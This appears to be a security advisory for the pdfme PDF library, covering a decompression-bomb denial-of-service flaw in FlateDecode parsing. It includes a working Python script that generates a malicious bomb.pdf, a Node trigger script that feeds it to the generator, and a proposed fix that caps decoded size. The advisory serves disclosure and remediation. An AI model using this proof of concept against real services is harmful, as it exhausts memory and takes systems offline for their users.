PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS

protected ensureBuffer(requested: number) {
  const buffer = this.buffer;
  if (requested <= buffer.byteLength) {
    return buffer;
  }
  let size = this.minBufferLength;
  while (size < requested) {
    size *= 2;  // Doubles with no upper bound
  }
  const buffer2 = new Uint8Array(size);  // Allocates without limit
  buffer2.set(buffer);
  return (this.buffer = buffer2);
}

decode(): Uint8Array {
  while (!this.eof) this.readBlock();  // Fully decompresses before returning
  return this.buffer.subarray(0, this.bufferLength);
}

if (pos + 1 >= limit) {
  buffer = this.ensureBuffer(pos + 1);
  limit = buffer.length;
}

if (pos + len >= limit) {
  buffer = this.ensureBuffer(pos + len);
  limit = buffer.length;
}

const willLoadPdf = await getB64BasePdf(basePdf);
const embedPdf = await PDFDocument.load(willLoadPdf);

#!/usr/bin/env python3
"""Generate a PDF decompression bomb for PoC."""
import zlib
import struct

# Create highly compressible data: 100MB of null bytes
# compresses to ~100KB (~1000:1 ratio)
uncompressed = b'\x00' * (100 * 1024 * 1024)  # 100 MB
compressed = zlib.compress(uncompressed, 9)

# Minimal PDF structure with FlateDecode stream
pdf = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj

2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj

3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
   /Contents 4 0 R >>
endobj

4 0 obj
<< /Filter /FlateDecode /Length """ + str(len(compressed)).encode() + b""" >>
stream
""" + compressed + b"""
endstream
endobj

xref
0 5
"""
# Write proper xref (simplified for PoC)
with open("bomb.pdf", "wb") as f:
    f.write(pdf)
    f.write(b"trailer << /Size 5 /Root 1 0 R >>\nstartxref\n0\n%%EOF\n")

print(f"Compressed size: {len(compressed)} bytes")
print(f"Decompressed size: {len(uncompressed)} bytes")
print(f"Ratio: {len(uncompressed)/len(compressed):.0f}:1")

const { generate } = require('@pdfme/generator');
const fs = require('fs');

const bombPdf = fs.readFileSync('bomb.pdf');

// This will cause unbounded memory allocation during PDF parsing
generate({
  template: {
    basePdf: bombPdf,  // Attacker-controlled input
    schemas: [[]],
  },
  inputs: [{}],
  plugins: {},
}).catch(err => console.error('OOM or crash:', err.message));

# Monitor memory usage — the Node.js process will consume all available memory
# and either crash with a heap allocation failure or be OOM-killed
node --max-old-space-size=512 trigger.js
# Expected: "FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory"

const MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB

class DecodeStream implements StreamType {
  // ... existing fields ...

  protected ensureBuffer(requested: number) {
    const buffer = this.buffer;
    if (requested <= buffer.byteLength) {
      return buffer;
    }

    if (requested > MAX_DECODED_SIZE) {
      throw new Error(
        `Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` +
        `This may indicate a decompression bomb.`
      );
    }

    let size = this.minBufferLength;
    while (size < requested) {
      size *= 2;
    }

    // Cap the allocation even if the doubling overshoots
    if (size > MAX_DECODED_SIZE) {
      size = MAX_DECODED_SIZE;
    }

    const buffer2 = new Uint8Array(size);
    buffer2.set(buffer);
    return (this.buffer = buffer2);
  }
}

// In LoadOptions interface:
interface LoadOptions {
  // ... existing options ...
  maxDecodedStreamSize?: number; // Default: 100 MB
}